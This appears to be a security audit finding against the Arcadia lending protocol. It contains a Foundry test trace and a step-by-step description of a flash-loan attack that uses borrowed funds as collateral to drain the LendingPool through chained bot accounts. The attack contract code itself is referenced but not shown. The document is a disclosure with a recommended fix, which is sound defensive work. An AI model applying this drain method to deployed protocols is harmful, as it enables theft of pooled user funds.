│ │ │ │ │ │ │ ├─ [860] ArcadiaOracle::latestRoundData() [staticcall]
│ │ │ │ │ │ │ │ └─ ← 1, 1000000000000000000 [1e18], 172800 [1.728e5], 172800 [1.728e5], 1
│ │ │ │ │ │ │ └─ ← 1000000000000000000 [1e18]
│ │ │ │ │ │ └─ ← 1000000000000000000 [1e18]
│ │ │ │ │ └─ ← 500000000000000000000000000000 [5e29], 10000 [1e4], 10000 [1e4]
│ │ │ │ ├─ [5943] Standard ERC20 Asset Module::getValue(0x0000000000000000000000000000000000000000, STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18]) [staticcall]
│ │ │ │ │ ├─ [4175] Registry::getRateInUsd(0x0000000000000000000000000000000000000000000000000000000000000005) [staticcall]
│ │ │ │ │ │ ├─ [2463] Chainlink Oracle Module::getRate(0) [staticcall]
│ │ │ │ │ │ │ ├─ [860] ArcadiaOracle::latestRoundData() [staticcall]
│ │ │ │ │ │ │ │ └─ ← 1, 1000000000000000000 [1e18], 172800 [1.728e5], 172800 [1.728e5], 1
│ │ │ │ │ │ │ └─ ← 1000000000000000000 [1e18]
│ │ │ │ │ │ └─ ← 1000000000000000000 [1e18]
│ │ │ │ │ └─ ← 1000000000000000000000000000000 [1e30], 0, 0
│ │ │ │ └─ ← 500000000000000000 [5e17]
│ │ │ └─ ← ()
│ │ └─ ← ()
│ ├─ [2789] Proxy::skim(STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 0)
│ │ ├─ [2432] Account V1 Logic::skim(STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 0) [delegatecall]
│ │ │ ├─ [561] STABLE1::balanceOf(Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e]) [staticcall]
│ │ │ │ └─ ← 500000000000000000 [5e17]
│ │ │ └─ ← ()
│ │ └─ ← ()
│ ├─ [561] STABLE1::balanceOf(Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e]) [staticcall]
│ │ └─ ← 500000000000000000 [5e17]
│ └─ ← ()
├─ [561] STABLE1::balanceOf(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236]) [staticcall]
│ └─ ← 0
├─ [561] STABLE1::balanceOf(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b]) [staticcall]
│ └─ ← 1000000000000000000 [1e18]
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 14.88ms
Ran 1 test suite in 14.88ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)
cawfree
high
Flash loans can trick the
LendingPool
into issuing debt backed by its own collateral.Summary
Accounts can use flash-loaned funds as borrow collateral from a
LendingPool
without tripping the health check, allowing collateral backing to be migrated directly into attacker-controlled accounts, where the only collateral at risk is that belonging to theLendingPool
itself.Further, it can be demonstrated that the underlying balance of the
LendingPool
can be drained at zero cost to an attacker, resulting in the failure to liquidate active positions due to insolvency.Vulnerability Detail
Let's start by demonstration.
First, we append the following attack sequence to
Borrow.fuzz.t.sol
:A high-level description of the operations is defined below:
_ATTACKER
withattackLiquidity
(10 ** 18
) of underlying tokens.LendingPool
with a deposit of(numberOfBots * attackLiquidity) / 2
of underlying collateral via thesrTranche
. Note that here, we are choosing values which simplify the logical operations involved (an attacker would need to care to handle dust amounts)._ATTACKER
deploys theAttack
contract and preallocates a number of "bot" accounts in the interest of reducing gas consumption during the main attack flow.rekt()
, we can verify that the amount of collateral belonging to the customAttack
contract (and therefore the_ATTACKER
) is equivalent to the originalattackLiquidity
, signifying zero loss for the_ATTACKER
besides gas. Conversely, we demonstrate that the balance of theLendingPool
is now0
.What has happened is the
Attacker
contract has borrowed all of theLendingPool
's underlying collateral in exchange for nothing in return.Below, we declare the
Attack
contract (within the same scope ofBorrow.fuzz.t.sol
):Description of attack flow:
Attack
contract, we callprepareAccounts
to preallocate a number of bot accounts.rekt()
which in turn invokesexecuteAction("")
, which matches the function identifier required for receiving flash callbacks.attackLiquidity
and use this as borrow collateral.attackLiquidity
to the attack contract and repeat the process again. The result is a daisy chain of contracts all using identical collateral to open multiple borrow positions.attackLiquidity
amount is used to repay the flash loan opened for each previous account in the chain, leaving the borrowed amount remaining the bot account.Once everything is all said and done, the attacker has lost no value, the pool's underlying token balance has been emptied, and all of the backing collateral has been separated out across multiple bot accounts.
In this scenario, each account is left with
0.5 ether
of underlying token balance and0.5 ether
worth ofDebtToken
s.The pool has issued debt backed by its own collateral, instead of the
_ATTACKER
's.Impact
There are multiple vulnerabilities which can be enabled through this manipulation.
Code Snippet
Tool used
Foundry
Recommendation
Consider preventing the value of flash loaned assets from being taken into account whilst assessing borrower eligibility.